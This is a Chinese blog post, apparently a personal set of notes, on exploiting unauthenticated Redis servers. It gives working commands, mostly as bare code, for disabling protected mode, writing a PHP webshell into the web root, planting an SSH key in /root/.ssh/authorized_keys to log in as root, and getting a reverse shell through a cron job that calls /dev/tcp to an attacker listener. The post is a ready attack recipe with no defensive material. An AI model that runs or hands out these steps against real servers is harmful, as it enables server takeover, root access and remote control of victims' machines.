redis漏洞
redis未授权访问
分为两种情况 (这里是高版本),低版本不需要考虑
第一种是受害机直接启动redis-server redis-server
第二种是受害机以redis.conf文件内容启动redis服务 redis-server /etc/redis/redis.conf.
第一种攻击机启动客户端cmd下输入 redis-cli.exe -h 192.168.159.128,访问成功之后输入info查看信息,(高版本)可能为保护模式,
受害者主机须使用客户端连接本机redis服务输入以下命令(这里关闭一个即可)
修改redis的守护进程为no ,不启用 127.0.0.1:6379> config set daemonize "no" OK 修改redis的保护模式为no,不启用 127.0.0.1:6379> config set protected-mode "no" OK
攻击机输入 info 后可查看信息.
第二种和前面一样但是需要将redis.conf.文件下的 bind 127.0.0.1 ::1 进行注释,不然外连不上
写入webshell
攻击机上输入以下信息,即可在被攻击者电脑 /var/www/html/文件下生成xxx.php,前提这个文件能解析才有用,换句话说要知道网站路径.
1 2 3 4 | config set dir / var /www/html/ config set dbfilename xxx.php set payload "<?php phpinfo();?>" save |
公私钥认证获取root权限
攻击机 ssh-keygen -t rsa #生成公私钥
随后cd 到root/ssh目录下执行命令 (echo -e "\n\n"; cat id_rsapub; echo -e "\n\n") >1. txt #将公钥写入到1.txt当中
cat 1.txt | redis-cli -h 192.168.1.1 -x set crack #将公钥放到靶机redis备份目录下
连接redis服务
CONFIG GET dir #查看redis备份路径
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)命令config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys: 命令 CONFIG dbfilename authorized_keys
检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出 命令:CONFIG GET dbfilename ,save ,exit
ssh -i id_rsa root@192.168.1.1 直接连接
反弹shell
攻击机开启监听端口 nc -lvnp 4444
redis-cli -h 192.168.0.104 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】